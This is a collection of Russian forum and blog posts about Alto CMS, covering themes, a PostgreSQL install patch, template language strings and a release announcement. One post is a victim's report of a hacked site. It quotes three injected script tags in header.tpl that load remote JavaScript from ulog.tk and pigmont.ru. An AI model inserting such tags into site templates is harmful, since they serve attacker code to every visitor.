В какой блог и каким образом нужно писать и оформлять заявку на разработку платного плагина ?

Приветствую,

Собственно сабж

???

Спасибо за разьяснения

Sky - вывод постов потоком


«Sky Silver» (светлая тема) кликабельно

В продолжении работы над дизайном Sky Show вывод постов потоком.
предыдущие части
Sky — серия дизайнов для Alto CMS
Страница профиля для дизайна Sky

Как и раньше основной акцент ставился на юзабилити и контент. Появилась новая тема Sky Silver, хотелось, чтобы она получилась светлой и легкой.

Так же есть большое желание, чтобы шаблон Sky был бесплатным и шел в коробке Alto CMS, по предварительной договоренности разработчики Alto согласны. Разработка и краудфандинг шаблона — тема отдельного поста.

Читать дальше →

Alto CMS: установка на PostgreSQL (обновлено 29.05.2014)

UPDATE: 29.05.2014
Стабильная версия. Добавлена совместимость с текущим репозиторием.
Изменения в дамп базы вносились вручную, просьба протестировать.

UPDATE: 25.02.2014
Наведен порядок с последовательностями, у полей user_login и user_mail изменен тип на citext для работы поиска без учёта регистра.
Поддержка вводится запросом CREATE EXTENSION, который появился в PostgreSQL 9.1. В случае с версиями 8.4 и 9.0 необходимо установить данное расширение из contrib/citext.sql дистрибутива базы.

UPDATE: 20.02.2014
Небольшой тюнинг схемы (IP адреса теперь имеют тип inet, timestamp теперь без временной зоны) + обновлён патч.

UPDATE: 17.02.2014
Обновил патч под текущий master, исправил несколько недочётов. В config.local.php.txt ввёл стандартные для PostgreSQL настройки.


Предлагаю потестировать Alto CMS в связке с PostgreSQL.
Патч пока пробный, в production не использовался.
Установщик /install не адаптировался — слишком уж он заточен на mysql.
Да и без него процедура установки не должна вызвать каких-либо проблем.

Итак, приступим к установке:

Читать дальше →

Языковой файл (ru.php)

Продолжаю свое знакомство с Alto. И снова прошу помощи у специалистов.
Собственно что имеем. В языковом файле есть следующие параметры вывода слов для кнопки вступления и выхода из Блога:
'blog_join' => 'вступить в блог',
'blog_leave' => 'покинуть блог',

Сама кнопка (приведу на всякий случай всю конструкцию):
{if $oUserCurrent}
    {if $oUserCurrent->getId() != $oBlog->getOwnerId() and $oBlog->getType() == 'open'}
        <button type="submit"  onclick="ls.blog.toggleJoin(this, {$oBlog->getId()}); return false;">
            <span>{if $oBlog->getUserIsJoin()}{$aLang.blog_leave}{else}{$aLang.blog_join}{/if}</span>
        </button>
    {else}
        {$aLang.blog_join_error_self}
    {/if}
{/if}

Т.е. и {$aLang.blog_leave}, и {$aLang.blog_join} на месте
{if $oBlog->getUserIsJoin()}{$aLang.blog_leave}{else}{$aLang.blog_join}{/if}

По идее, кнопка должна отображать текст: «вступить в блог» и «покинуть блог».
Но на сайте у нас совсем другая картинка:

Откуда скрипт вытягивает эти слова?
«Читать», «Не читать».

P.S.: Возможно, объяснение этому уже есть, тут на сайте. Но я не смог найти... (возможно из-за не правильной формулировки запросов в поиске). Прошу ткнуть меня носом, если таковое объяснение есть. Спасибо!

Взломали сайт и ставили гадости в шаблон

Сегодня взломали сайт и вставили гадости в шаблон, а именно в файл header.tpl

<script language='javascript' charset='UTF-8' type='text/javascript' src='http://ulog.tk/top'></script>
<script type="text/javascript" charset="windows-1251" src="http://ulog.tk/top_top"></script>	
<script async charset="UTF-8" type="text/javascript" src="http://pigmont.ru/14ytsv99hv15g3sge8sh198a9rffglmrb68b"></script>


как взломали не знаю.

[dev] Конфигурация сайта на Alto CMS - Определяем IP-адрес пользователя

В теории определение адреса посетителя – элементарная операция. Он, согласно соглашениям, должен лежать в переменной $_SERVER['REMOTE_ADDR']. Но суровая правда жизни нередко идет в разрез с теорией, поэтому на практике там может лежать что угодно, например, адрес самого сервера.

Есть еще куча заголовков, которые начинаются с префикса 'HTTP_', где может реально лежать IP-адрес пользователя, но теория гласит, что нельзя довеять таким заголовкам, т.к. он легко подделываются и там так же может лежать, что угодно.

Так как же быть? Откуда брать адрес?

Читать дальше →

Alto CMS v.1.0 Release Candidate

Думаю, мы уже вплотную подошли к стабильному релизу. Спасибо всем, кто помог выявить и исправить ошибки.

Со времени выхода второй бета-версии (кроме исправления ошибок) было выполнено несколько доработок. Наиболее важные из них:
  1. Доработка шаблона админпанели
  2. Значительное увеличение быстродействия
  3. Пересмотрен подход к автогенерации изображений налету
  4. Добавлена работа с анимированными GIF-картинками
А теперь подробности

Читать дальше →

Размеры фотопрофиля (1.0-beta)

Не могу пока понять логику.
В админке, в Медиаресурсах, по идее выводятся изображения 100Х100px. Большое изображение из Профиля (фотопрофиль?) тоже должно попадать на эту страницу (Медиаресурсы) — и попадает. Но, предусмотрено ли программно создание таких размеров (100Х100) этих самых изображений? По ходу нет. В итоге имеем некрасивость:



Прошу вашего совета и рекомендаций. Экспериментировать, в данной области, особого желания нет.
Или просто так и должно быть до выхода оф.релиза?
Спасибо!

Сторонний скрипт под шапку сайта

Всем привет!
Я серьезно рассматриваю переход с ЛС на Альто и поэтому еще один вопрос.

У меня есть скрипт в отдельной папке. Можно ли мне как-то сделать так, чтобы он находился под основной шапкой сайта? Можно ли такое сделать на данной cms?

Вкачестве наглядности я покажу конкретно:
memzona.com — основной сайт
memzona.com/memgen/ — скрипт